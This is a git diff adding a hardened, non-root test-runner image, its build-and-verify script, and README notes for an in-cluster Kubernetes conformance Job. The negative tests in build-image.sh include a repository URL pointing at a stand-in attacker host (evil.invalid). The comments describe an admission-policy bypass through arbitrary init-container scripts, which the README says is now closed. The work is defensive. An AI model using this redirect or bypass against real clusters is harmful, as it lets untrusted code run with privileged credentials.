+> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
+> coverage hole, not a phase.
+>
+> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
+> documentation rather than measurement, and `main` was unprotected with zero runners
+> registered the whole time. **Query the live API before asserting platform state.**
+
+
 This subtree is the **definition of "done"** for the whole platform. Nothing is accepted
 on a demo, a screenshot, or "it reconciled": every requirement is proven by an
 **automated, reproducible, behavior-based test** tagged with the requirement ID(s) it

conformance/incluster/Containerfile

@@ -0,0 +1,200 @@
+# =============================================================================
+# conformance-runner — the image the in-cluster L2/L3 Chainsaw Job actually runs.
+# Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
+#
+# WHY THIS EXISTS. chainsaw-job.yaml pins `ghcr.io/kyverno/chainsaw:v0.2.12` and
+# `command: ["./run.sh"]`. That image carries the chainsaw binary and almost nothing else —
+# no bash, no python3, no kubectl, no git. So the committed Job could never have run: it
+# would have failed at exec of `./run.sh`. This image carries exactly what
+# `conformance/run.sh` needs:
+#
+#   bash      run.sh and every tests/**/check.sh are bash (arrays, mapfile, BASH_SOURCE)
+#   python3   lib/{run_l1_offline,gen_coverage,merge_junit,emit_skipped_junit,status}.py
+#             (stdlib only — conformance/versions.env PYTHON_MIN=3.9, so no pip layer)
+#   chainsaw  the L1/L2/L3 runner itself (run_chainsaw / lint_tests)
+#   kubectl   conf_cluster_reachable()'s `kubectl cluster-info` preflight + probe scripts
+#   git       the init-container's `clone --depth 1` + `checkout <SHA>` (§3 item 2) and
+#             run.sh's `rev-parse --short HEAD` for the run id
+#   tar/gzip/coreutils  the `=== ARTIFACTS-TGZ-BASE64 ===` results channel (§3 item 3)
+#
+# It also carries `/usr/local/bin/conformance-clone` (0755 root:root) — the init container's
+# ONLY entrypoint, a fixed path with no argument surface. That exists to close an admission
+# hole, not for convenience: see the COPY below and the script's own header.
+#
+# VERSIONS COME FROM infra/devcontainer/versions.env — NOT from new pins invented here.
+# That file is the single source of truth for CHAINSAW_VERSION / KUBECTL_VERSION /
+# FEDORA_VERSION, and build-image.sh sources it and passes them in as --build-arg. The
+# ARG defaults below are deliberately EMPTY so a build that forgets to pass them fails
+# loudly (see the assertion in the first RUN) instead of silently baking a stale version.
+#
+# KNOWN LIMIT — READ BEFORE CHOOSING THE JOB'S `args`.
+# `run.sh` runs the selected OFFLINE L0/L1 checks (run_offline_checks) before it ever
+# touches the cluster, for ANY selection that is not offline-only. Those checks shell out
+# to flux / promtool / kyverno / kustomize, which this image deliberately does NOT carry —
+# baking the whole devcontainer toolchain into the runner would roughly double its size to
+# re-run work that ci/l0.sh + ci/l1.sh already did offline in the same CI run. So the Job
+# must select the cluster-gated layers only, e.g. `args: ["--layer", "l2"]` /
+# `["--layer", "l3"]`, where offline_selected_dirs() resolves to nothing and
+# run_offline_checks() returns 0. `--layer all` and a bare `--requirements <IDs>` would drag
+# the L0 checks in and fail on a missing tool. Flagged to the plan owner; choosing the Job's
+# args is T-6.1b's call, not this image's.
+#
+# THE ADMISSION CONTRACT THIS IMAGE MUST SATISFY.
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is a fail-closed Enforce
+# ClusterPolicy (R-SEC-02) and it is the security boundary. It requires the Job's container
+# to be `gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*` — a DIGEST,
+# never a tag — with `runAsNonRoot: true` and `allowPrivilegeEscalation: false`. Two
+# consequences are baked in here:
+#
+#   1. `USER` is NUMERIC. With `runAsNonRoot: true` and no explicit `runAsUser`, the kubelet
+#      REJECTS an image whose USER is a name it cannot resolve to a uid
+#      ("container has runAsNonRoot and image has non-numeric user"). So: USER 65532:65532.
+#   2. The pod is `readOnlyRootFilesystem: true` and the policy admits only the `workspace`
+#      and `results` volumes — there is no writable /tmp and one cannot be added without
+#      changing the boundary. So HOME and every cache path point INTO /workspace (the
+#      emptyDir), not at the read-only root. That is why HOME=/workspace below.
+# =============================================================================
+
+# --- builder: fetch the pinned release binaries ------------------------------
+# A full Fedora for the download stage (it has curl + tar); none of it ships in the runtime
+# image, so the runner does not carry a downloader it has no business having at runtime.
+ARG FEDORA_VERSION=44
+FROM registry.fedoraproject.org/fedora:${FEDORA_VERSION} AS builder
+
+ARG CHAINSAW_VERSION=
+ARG KUBECTL_VERSION=
+ARG TARGETARCH=amd64
+
+# Fail the BUILD — not the Job, three weeks later — if a pin was not passed in.
+RUN set -eux; \
+    : "${CHAINSAW_VERSION:?pass --build-arg CHAINSAW_VERSION from infra/devcontainer/versions.env}"; \
+    : "${KUBECTL_VERSION:?pass --build-arg KUBECTL_VERSION from infra/devcontainer/versions.env}"
+
+# Same URLs and the same arch handling as infra/devcontainer/Containerfile, so the chainsaw
+# and kubectl in this image are the same builds the toolbox gate runs with.
+#
+# INTEGRITY, MEASURED NOT ASSUMED. kubectl publishes a plain `<url>.sha256`, so it is verified
+# below. chainsaw publishes NO checksums file — the v0.2.12 release assets are the tarballs plus
+# per-asset cosign `.sig`/`.pem` and an SBOM (listed via the GitHub releases API). So chainsaw's
+# integrity here rests on the tag + TLS, and afterwards on this image's own digest.
+# TODO, worth doing and deliberately not smuggled in here: verify chainsaw with
+# `cosign verify-blob --certificate chainsaw_linux_amd64.tar.gz.pem
+#  --signature chainsaw_linux_amd64.tar.gz.sig ...`. That needs cosign in the builder stage and
+# the correct keyless identity/issuer for kyverno's release workflow — a supply-chain decision
+# that belongs in its own reviewed change, not as a silent addition to a runner image.
+# infra/devcontainer/Containerfile has the same gap for the same binary.
+RUN set -eux; \
+    mkdir -p /out; \
+    curl -fsSL "https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/${TARGETARCH}/kubectl" \
+      -o /out/kubectl; \
+    curl -fsSL "https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/${TARGETARCH}/kubectl.sha256" \
+      -o /tmp/kubectl.sha256; \
+    echo "$(cat /tmp/kubectl.sha256)  /out/kubectl" | sha256sum -c -; \
+    curl -fsSL "https://github.com/kyverno/chainsaw/releases/download/v${CHAINSAW_VERSION}/chainsaw_linux_${TARGETARCH}.tar.gz" \
+      | tar -xz -C /out chainsaw; \
+    chmod 0755 /out/kubectl /out/chainsaw; \
+    /out/kubectl version --client=true --output=yaml >/dev/null; \
+    /out/chainsaw version >/dev/null
+
+# --- runtime -----------------------------------------------------------------
+ARG FEDORA_VERSION=44
+FROM registry.fedoraproject.org/fedora-minimal:${FEDORA_VERSION}
+
+ARG CHAINSAW_VERSION=
+ARG KUBECTL_VERSION=
+ARG FEDORA_VERSION=44
+# Nonroot uid/gid. 65532 is the distroless `nonroot` convention; the value is arbitrary but
+# it MUST be numeric and non-zero — see "THE ADMISSION CONTRACT" above.
+ARG RUNNER_UID=65532
+ARG RUNNER_GID=65532
+
+LABEL org.opencontainers.image.title="conformance-runner" \
+      org.opencontainers.image.description="bash + python3 + chainsaw + kubectl + git for the in-cluster L2/L3 conformance Job (conformance/run.sh)" \
+      org.opencontainers.image.source="https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl" \
+      org.opencontainers.image.documentation="conformance/incluster/README.md" \
+      homelab.keithjackson.dev/requirements="R-TEST-02,R-SEC-02"
+
+# bash: run.sh + every check.sh.  python3: the stdlib report generators.
+# git-core: the init-container clone (git-core, not git — drops the perl/svn tail).
+# coreutils/findutils/grep/sed/gawk: find, sort, base64, xargs, sed -nE, awk in lib/*.sh.
+# tar+gzip: the base64-tar results channel.  diffutils: `diff` in the L1 golden compare.
+# ca-certificates: TLS for the init clone and for kubectl's in-cluster API calls.
+RUN set -eux; \
+    microdnf -y install --setopt=install_weak_deps=0 --nodocs \
+      bash python3 git-core coreutils findutils grep sed gawk tar gzip diffutils \
+      ca-certificates; \
+    microdnf clean all; \
+    rm -rf /var/cache/* /var/log/dnf*
+
+COPY --from=builder /out/kubectl /out/chainsaw /usr/local/bin/
+
+# The init container's ONLY entrypoint. Copied as a file with a fixed path and NO argument
+# surface, because the admission policy pins the main container's `command` but never reads
+# `initContainers` — so an init container with `command: ["/bin/sh","-c"]` and an arbitrary
+# script is currently ADMITTED and runs as the privileged `conformance-runner` SA (reproduced
+# by the policy's author; pass 3, fail 0). A 4th policy rule requiring
+# `command: ["/usr/local/bin/conformance-clone"]` with no `args` is what makes this file
+# REQUIRED rather than merely available; that rule belongs in its own reviewed PR against the
+# boundary, not here. See the script's header for the env-injection half of the same hole.
+#
+# 0755 root:root: the container runs as 65532 and MUST NOT be able to replace the one
+# executable the policy will trust. Ownership is asserted below rather than assumed.
+COPY conformance-clone /usr/local/bin/conformance-clone
+RUN set -eux; \
+    chown root:root /usr/local/bin/conformance-clone; \
+    chmod 0755 /usr/local/bin/conformance-clone; \
+    bash -n /usr/local/bin/conformance-clone; \
+    /usr/local/bin/conformance-clone --anything 2>&1 | grep -q 'takes no arguments'; \
+    test "$(stat -c '%U:%G %a' /usr/local/bin/conformance-clone)" = 'root:root 755'
+
+# The nonroot account is written directly rather than pulling in shadow-utils to run useradd
+# once. HOME is /workspace because at runtime that emptyDir is the only writable path.
+RUN set -eux; \
+    echo "runner:x:${RUNNER_UID}:${RUNNER_GID}:conformance runner:/workspace:/bin/bash" >> /etc/passwd; \
+    echo "runner:x:${RUNNER_GID}:" >> /etc/group; \
+    install -d -m 0775 -o "${RUNNER_UID}" -g "${RUNNER_GID}" /workspace
+
+# SYSTEM-level config, because HOME is an emptyDir that starts empty on every run and the
+# root filesystem is read-only — a runtime `--global` write would fail.
+# safe.directory=*: the init-container clones into the shared emptyDir and the main container
+# then runs `rev-parse` over it; any uid mismatch between the two would otherwise abort with
+# "detected dubious ownership". The repo is fetched fresh per run into an emptyDir, so there
+# is no pre-existing hostile checkout this relaxes a check against.
+RUN set -eux; \
+    printf '%s\n' \
+      '[safe]' \
+      '	directory = *' \
+      '[advice]' \
+      '	detachedHead = false' \
+      > /etc/gitconfig; \
+    chmod 0644 /etc/gitconfig
+
+# Provenance: what is actually in this layer, readable from a running pod.
+RUN set -eux; \
+    { echo "fedora=${FEDORA_VERSION}"; \
+      echo "chainsaw=${CHAINSAW_VERSION}"; \
+      echo "kubectl=${KUBECTL_VERSION}"; \
+      echo "bash=$(bash --version | head -1)"; \
+      echo "python3=$(python3 --version)"; \
+      echo "git=$(git --version)"; \
+      echo "conformance-clone=$(sha256sum /usr/local/bin/conformance-clone | cut -d' ' -f1)"; \
+    } > /etc/conformance-runner-versions; \
+    chmod 0444 /etc/conformance-runner-versions
+
+# Every writable path points into the `workspace` emptyDir — the root filesystem is
+# read-only and the admission policy forbids adding a third volume for scratch.
+ENV HOME=/workspace \
+    XDG_CACHE_HOME=/workspace/.cache \
+    XDG_CONFIG_HOME=/workspace/.config \
+    TMPDIR=/workspace/.tmp \
+    PYTHONDONTWRITEBYTECODE=1 \
+    CONF_ROOT=/workspace/conformance
+
+USER ${RUNNER_UID}:${RUNNER_GID}
+WORKDIR /workspace
+
+# No ENTRYPOINT on purpose. The admission policy pins `command: ["./run.sh"]` with
+# `workingDir: /workspace/conformance`; an ENTRYPOINT here would either be ignored or
+# prepend something the policy cannot see. `bash` is the interactive fallback for a human
+# debugging the image locally.
+CMD ["/bin/bash"]

conformance/incluster/README.md

@@ -1,5 +1,19 @@
 # In-cluster conformance Job (L2/L3)
 
+> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
+> This document speaks as though no cluster exists and the platform is scaffolding. **A
+> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
+> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
+> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
+> describing a **live gap** rather than an expected stage — most importantly, L2/L3
+> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
+> coverage hole, not a phase.
+>
+> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
+> documentation rather than measurement, and `main` was unprotected with zero runners
+> registered the whole time. **Query the live API before asserting platform state.**
+
+
 Per **ADR-0011** and **docs/14 "Where each layer runs"**: L0/L1 run in CI without a
 cluster, but **L2 behavioral and L3 fault-injection run as an in-cluster Chainsaw Job**
 on the dev/test cluster that **CI triggers and waits for**. CI holds **no** cluster
@@ -11,20 +25,86 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
   commented with the test/requirement that needs it — only as the matching fault-injection
   test lands. This is a **privileged test identity**: never reused by workloads, its own
   audit item.
-- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to
-  `--requirements <touched IDs>` (merge gate) or `--layer all --strict-coverage` (phase
-  exit). Image pinned to `versions.env` `CHAINSAW_IMAGE`.
+- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
+  run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
+  commit under test; artifacts leave over stdout. Its header is the authority on the
+  substitution tokens and the admission constraints it satisfies, and records the
+  `initContainers` hole that was found and closed alongside it — read it before editing
+  either file.
+- `Containerfile` — the **`conformance-runner`** image: `bash` + `python3` + `chainsaw` +
+  `kubectl` + `git`, non-root (numeric uid 65532) and working under a read-only root
+  filesystem. This is what the Job actually needs; the stock chainsaw image carries none of
+  it. Versions are `--build-arg`-injected from `infra/devcontainer/versions.env` — the single
+  source of truth — so the chainsaw/kubectl in the runner are the same pins the toolbox gate
+  uses. Read its header before changing the Job's `args`: `run.sh` runs the selected offline
+  L0/L1 checks for any non-offline-only selection, and those need flux/promtool/kyverno/
+  kustomize, which this image deliberately omits. Use `--layer l2` / `--layer l3`.
+- `conformance-clone` — the init container's **only** entrypoint, baked into the image at
+  `/usr/local/bin/conformance-clone` (0755 **root:root**, so uid 65532 cannot replace it).
+  It is a file in the image rather than an inline script in the Job precisely so admission
+  can pin it: a policy cannot tell the committed script from an attacker's when both are
+  just `args` on `/bin/bash -c`. Clones the impl repo at the commit under test: the SHA must
+  match `^[0-9a-f]{40}$` and `rev-parse HEAD` is **asserted** equal to it afterwards, so an
+  unrendered placeholder is a hard failure rather than a silent run of the branch tip. It
+  takes **no arguments**, and the repository URL and clone target are **compiled in** —
+  `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
+  honoured, because a URL taken from env would let the trigger choose which repository's
+  code runs as `conformance-runner`. This branch's Job depends on that interface:
+  `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
+  (hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
+  > **The other half landed with this branch.** When `conformance-clone` arrived, the
+  > admission policy pinned the main container's `command` but **never read
+  > `initContainers`** — an init container with `command: ["/bin/sh","-c"]` and an arbitrary
+  > script was ADMITTED and ran as the privileged `conformance-runner` SA, so this file was
+  > merely *available* rather than *required*. The rule that closes it is
+  > `trigger-initcontainers-must-be-the-committed-clone-step`: at most one init container,
+  > digest-pinned to the conformance-runner image, `command` exactly
+  > `/usr/local/bin/conformance-clone`, and **no `args` at all**. `ephemeralContainers` and
+  > `env`/`envFrom` were the same shape of hole and are closed in the same policy.
+- `build-image.sh` — builds the above, **verifies the toolchain by running it** inside the
+  image as uid 65532 with `--read-only`, and prints the digest. It **never pushes**: it
+  prints the exact `podman push --digestfile …` command for the operator instead. See
+  `conformance/versions.env` `CONFORMANCE_RUNNER_IMAGE` for the post-push pin.
+  `--verify-clone` additionally has `conformance-clone` really clone this repo at a real SHA
+  and asserts the checkout matches (opt-in, because it needs the Gitea host reachable — the
+  default verify stays offline so an air-gapped build is fully checked, not half-checked).
 
 ## Flow
-1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a
-   trigger with narrow rights: create Job + read its logs/status — *not* a broad
-   kubeconfig).
-2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs
-   `./run.sh` under `conformance-runner`.
-3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` +
-   `coverage/` to the results volume (`/workspace/conformance/_artifacts`).
-4. CI collects those artifacts (results volume or the terminating log stream, which echoes
-   their paths) and enforces the merge / phase-exit gate on them.
+1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
+   runner image digest and the commit SHA — replaces `args` with the invocation shape, and
+   `create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get
+   pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
+2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
+   fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
+3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
+   shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
+   not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
+   the suite runs at the commit under test or not at all. The read-only Gitea credential
+   reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
+   `username`/`token`), never as a volume: admission allows no volume but `workspace` and
+   `results`.
+4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
+   `coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
+5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
+   stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI
+   decodes it from `kubectl logs` and must make all five completeness checks listed above
+   `conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
+   of decoding to plausible garbage.
+
+## Prerequisites before this Job can run at all
+- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
+  `token`: a **read-only** Gitea token for this repository. Never a write token or a
+  push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
+- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
+  before this template is usable; its digest is what the trigger substitutes. Contract the
+  image MUST meet, because the Job and the admission policy both depend on it:
+  - bash, git, python3, chainsaw and kubectl on `PATH`;
+  - a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
+    uid in the Containerfile means the Job will not start;
+  - `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
+    mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
+    that exact path, so an image without it cannot run the clone step and no other path will
+    be admitted.
 
 ## Phase 0
 No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux

conformance/incluster/build-image.sh

@@ -0,0 +1,229 @@
+#!/usr/bin/env bash
+###############################################################################
+# conformance/incluster/build-image.sh — build the pinned `conformance-runner`
+# image and print its digest. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
+#
+#   ./build-image.sh                 # build + verify + print the digest and push command
+#   ./build-image.sh --no-verify     # build only (skip the in-image tool proof)
+#   ./build-image.sh --verify-clone  # ALSO really clone this repo with conformance-clone.
+#                                    #   Opt-in because it needs the Gitea host reachable; the
+#                                    #   default verify is offline so an air-gapped build is
+#                                    #   still fully checked rather than half-checked.
+#   ENGINE=docker ./build-image.sh   # build with docker instead of podman
+#
+# THIS SCRIPT NEVER PUSHES. Publishing is an operator action: the registry credential is
+# not an agent's to hold, and the pushed digest is what a fail-closed admission policy
+# then trusts. So this builds locally, proves the toolchain works INSIDE the image as the
+# non-root uid the policy demands, and prints the exact `podman push` line for a human.
+#
+# VERSIONS ARE NOT DEFINED HERE. They are read from infra/devcontainer/versions.env, the
+# single source of truth (CHAINSAW_VERSION, KUBECTL_VERSION, FEDORA_VERSION) — the same
+# pins the toolbox gate runs with. Nothing in this file invents a version.
+#
+# THE DIGEST CAVEAT — read it before pasting a digest into anything.
+# The digest printed here is the LOCAL manifest digest. It is normally identical to the
+# registry digest (podman pushes the manifest it already has rather than recompressing),
+# but that is a property of the push, not a guarantee. So the push command below uses
+# `--digestfile`: the digest the registry actually returns is the authoritative one, and
+# that is the one that goes into conformance/versions.env.
+###############################################################################
+set -euo pipefail
+
+HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+REPO_ROOT="$(cd "${HERE}/../.." && pwd)"
+ENGINE="${ENGINE:-podman}"
+
+VERIFY=1
+VERIFY_CLONE=0
+for arg in "$@"; do
+  case "$arg" in
+    --no-verify) VERIFY=0 ;;
+    --verify-clone) VERIFY_CLONE=1 ;;
+    -h|--help) sed -n '2,/^####/p' "${BASH_SOURCE[0]}" | sed '$d' | sed 's/^# \{0,1\}//'; exit 0 ;;
+    *) echo "unknown argument: $arg" >&2; exit 2 ;;
+  esac
+done
+
+log()  { printf '\n\033[1m==> %s\033[0m\n' "$*"; }
+info() { printf '    %s\n' "$*"; }
+die()  { printf '\033[31mERROR: %s\033[0m\n' "$*" >&2; exit 1; }
+
+command -v "${ENGINE}" >/dev/null 2>&1 || die "'${ENGINE}' not on PATH (set ENGINE=docker to use docker)"
+
+# --- pins: sourced, never invented -------------------------------------------
+TOOLCHAIN_ENV="${REPO_ROOT}/infra/devcontainer/versions.env"
+[ -f "${TOOLCHAIN_ENV}" ] || die "missing ${TOOLCHAIN_ENV} — the pins live there, not here"
+# shellcheck disable=SC1090
+source "${TOOLCHAIN_ENV}"
+: "${CHAINSAW_VERSION:?CHAINSAW_VERSION not set in ${TOOLCHAIN_ENV}}"
+: "${KUBECTL_VERSION:?KUBECTL_VERSION not set in ${TOOLCHAIN_ENV}}"
+: "${FEDORA_VERSION:?FEDORA_VERSION not set in ${TOOLCHAIN_ENV}}"
+
+# --- image name: fixed by the admission policy -------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml admits ONLY
+# gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*. The repository path
+# is therefore not a preference; a different path is a DENIED Job. Do not "improve" it here.
+IMAGE_REPO="gitea.home.keithjackson.dev/home-network/conformance-runner"
+# The tag is build convenience only (a human-readable handle for the push). Admission
+# ignores it: only the digest is ever referenced from a Job.
+IMAGE_TAG="chainsaw${CHAINSAW_VERSION}-kubectl${KUBECTL_VERSION}-fc${FEDORA_VERSION}"
+IMAGE_REF="${IMAGE_REPO}:${IMAGE_TAG}"
+
+log "Building ${IMAGE_REF}"
+info "engine            ${ENGINE} ($(${ENGINE} --version 2>/dev/null | head -1))"
+info "pins from         ${TOOLCHAIN_ENV}"
+info "  CHAINSAW        ${CHAINSAW_VERSION}"
+info "  KUBECTL         ${KUBECTL_VERSION}"
+info "  FEDORA          ${FEDORA_VERSION}"
+
+"${ENGINE}" build \
+  --file "${HERE}/Containerfile" \
+  --tag "${IMAGE_REF}" \
+  --build-arg "CHAINSAW_VERSION=${CHAINSAW_VERSION}" \
+  --build-arg "KUBECTL_VERSION=${KUBECTL_VERSION}" \
+  --build-arg "FEDORA_VERSION=${FEDORA_VERSION}" \
+  "${HERE}"
+
+# --- verify: the point of the whole exercise ---------------------------------
+# The stock chainsaw image "had" chainsaw and still could not run ./run.sh. So prove the
+# tools EXECUTE, and prove they execute as the NON-ROOT uid with a READ-ONLY root
+# filesystem — the shape the admission policy forces. A pass here is the only evidence
+# this image is usable; a build that merely succeeded is not.
+if [ "${VERIFY}" -eq 1 ]; then
+  log "Verifying the toolchain inside the image (non-root, read-only rootfs)"
+  "${ENGINE}" run --rm \
+    --user 65532:65532 \
+    --read-only \
+    --tmpfs /workspace:rw,mode=1777 \
+    --entrypoint "" \
+    "${IMAGE_REF}" \
+    /bin/bash -euo pipefail -c '
+      echo "--- id ---";             id
+      echo "--- HOME ---";           echo "HOME=${HOME}"
+      echo "--- bash ---";           bash --version | head -1
+      echo "--- python3 ---";        python3 --version
+      echo "--- git ---";            git --version
+      echo "--- kubectl ---";        kubectl version --client
+      echo "--- chainsaw ---";       chainsaw version
+      echo "--- baked versions ---"; cat /etc/conformance-runner-versions
+      echo "--- conformance-clone: fixed path, root-owned, NOT writable by the runner ---"
+      stat -c "%n %U:%G %a" /usr/local/bin/conformance-clone
+      if [ -w /usr/local/bin/conformance-clone ]; then
+        echo "UNEXPECTED: uid $(id -u) can write the one executable the policy will trust"; exit 1
+      fi
+      echo "confirmed: not writable by uid $(id -u)"
+      # Each of these MUST fail. Assert the non-zero exit as well as the message: a check
+      # that only greps stderr would pass a build where the guard had stopped rejecting.
+      # (`|| true` inside the capture keeps `set -e`/`pipefail` from aborting on the
+      # expected failure — without it the verify dies at the first negative case.)
+      expect_fail() {
+        local label="$1"; shift
+        local out rc=0
+        out="$(env "$@" 2>&1)" || rc=$?
+        echo "--- ${label} ---"
+        printf "%s\n" "${out}" | head -2
+        if [ "${rc}" -eq 0 ]; then
+          echo "UNEXPECTED: that should have failed, but it exited 0"; exit 1
+        fi
+        echo "(rejected, exit ${rc})"
+      }
+      expect_fail "conformance-clone rejects arguments (that is where an injection would live)" \
+        conformance-clone --layer l2
+      expect_fail "conformance-clone rejects a missing SHA" \
+        conformance-clone
+      expect_fail "conformance-clone rejects a branch name instead of a SHA (no silent run of the tip)" \
+        CONFORMANCE_GIT_SHA=main conformance-clone
+      expect_fail "conformance-clone rejects an UNRENDERED placeholder" \
+        CONFORMANCE_GIT_SHA=@@CONFORMANCE_GIT_SHA@@ conformance-clone
+      expect_fail "conformance-clone rejects a HOME off the workspace volume" \
+        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+        HOME=/etc conformance-clone
+      expect_fail "conformance-clone refuses a REDIRECTED repository URL (the env-injection hole)" \
+        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+        CONFORMANCE_REPO_URL=https://evil.invalid/x.git conformance-clone
+      expect_fail "conformance-clone refuses a clone target off the workspace volume" \
+        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+        CONFORMANCE_SRC=/etc/src conformance-clone
+      echo "--- rootfs is read-only (expected: a failure) ---"
+      if touch /should-fail 2>/dev/null; then echo "UNEXPECTED: rootfs is writable"; exit 1; fi
+      echo "confirmed: / is read-only"
+      echo "--- HOME is writable (the workspace emptyDir) ---"
+      touch "${HOME}/.probe" && echo "confirmed: ${HOME} is writable"
+      echo "--- uid is non-zero ---"
+      [ "$(id -u)" -ne 0 ] && echo "confirmed: running as uid $(id -u), not root"
+    '
+  log "Toolchain verified"
+fi
+
+# --- verify the clone helper against the REAL repository (opt-in: needs network) ----
+# The negative cases above prove conformance-clone refuses bad input. This proves the
+# positive case: it lands the EXACT commit asked for and can prove it did. Without this, the
+# rev-parse assertion is only an unexercised line of shell.
+if [ "${VERIFY_CLONE}" -eq 1 ]; then
+  log "Verifying conformance-clone against the real repository"
+  SHA="$(git -C "${REPO_ROOT}" rev-parse HEAD)"
+  info "requesting commit ${SHA}"
+  "${ENGINE}" run --rm \
+    --user 65532:65532 \
+    --read-only \
+    --tmpfs /workspace:rw,mode=1777 \
+    --network host \
+    --entrypoint "" \
+    -e "CONFORMANCE_GIT_SHA=${SHA}" \
+    "${IMAGE_REF}" \
+    /bin/bash -euo pipefail -c '
+      conformance-clone
+      echo "--- assert rev-parse HEAD == the requested SHA ---"
+      got="$(git -C /workspace/src rev-parse HEAD)"
+      echo "requested: ${CONFORMANCE_GIT_SHA}"
+      echo "HEAD:      ${got}"
+      [ "${got}" = "${CONFORMANCE_GIT_SHA}" ] || { echo "MISMATCH"; exit 1; }
+      echo "confirmed: the working tree is at the requested commit"
+      test -x /workspace/src/conformance/run.sh && echo "confirmed: run.sh present and executable"
+    '
+  log "conformance-clone verified against the real repository"
+fi
+
+# --- digest ------------------------------------------------------------------
+DIGEST="$("${ENGINE}" image inspect --format '{{.Digest}}' "${IMAGE_REF}")"
+IMAGE_ID="$("${ENGINE}" image inspect --format '{{.Id}}' "${IMAGE_REF}")"
+SIZE="$("${ENGINE}" image inspect --format '{{.Size}}' "${IMAGE_REF}")"
+
+log "Built ${IMAGE_REF}"
+info "local manifest digest  ${DIGEST}"
+info "image id               ${IMAGE_ID}"
+info "size                   $(( SIZE / 1024 / 1024 )) MiB"
+
+cat <<EOF
+
+================================================================================
+NOT PUSHED. Publishing is an operator action — this script holds no registry
+credential and will never acquire one.
+
+OPERATOR: run these two commands, then paste the digest from the digestfile into
+conformance/versions.env (CONFORMANCE_RUNNER_IMAGE) via a PR:
+
+    ${ENGINE} login gitea.home.keithjackson.dev
+
+    ${ENGINE} push --digestfile /tmp/conformance-runner.digest \\
+      ${IMAGE_REF}
+
+Then:
+
+    cat /tmp/conformance-runner.digest
+    # -> sha256:....  THIS is the authoritative digest, not the local one above.
+
+    # conformance/versions.env
+    CONFORMANCE_RUNNER_IMAGE="${IMAGE_REPO}@\$(cat /tmp/conformance-runner.digest)"
+
+WHY THE DIGEST AND NOT THE TAG: platform/kyverno/admission/conformance-trigger-job-shape.yaml
+is a fail-closed Enforce policy. It DENIES any conformance-trigger Job whose image is not
+${IMAGE_REPO}@sha256:<digest>. A tag reference is denied,
+and so is any other repository path.
+
+TIGHTEN THE BOUNDARY AFTERWARDS: that policy's header asks for the wildcard
+\`${IMAGE_REPO}@sha256:*\` to be replaced with the
+LITERAL digest once the image exists, closing the "anyone who can push to this path" gap.
+That is a separate, human-reviewed PR against the security boundary.
+================================================================================
+EOF

conformance/incluster/chainsaw-job.yaml

@@ -1,23 +1,175 @@
 # =============================================================================
-# In-cluster Chainsaw conformance Job — SKELETON (ADR-0011; docs/14)
+# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
+# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
 #
-# CI (Gitea Actions, T-6.1b) TRIGGERS this Job and waits for it; CI holds NO
-# cluster credentials. The Job runs L1/L2/L3 under the scoped `conformance-runner`
-# ServiceAccount (rbac.yaml), writes JUnit + coverage to a results location that
-# CI collects, and enforces the merge / phase-exit gate on the outcome.
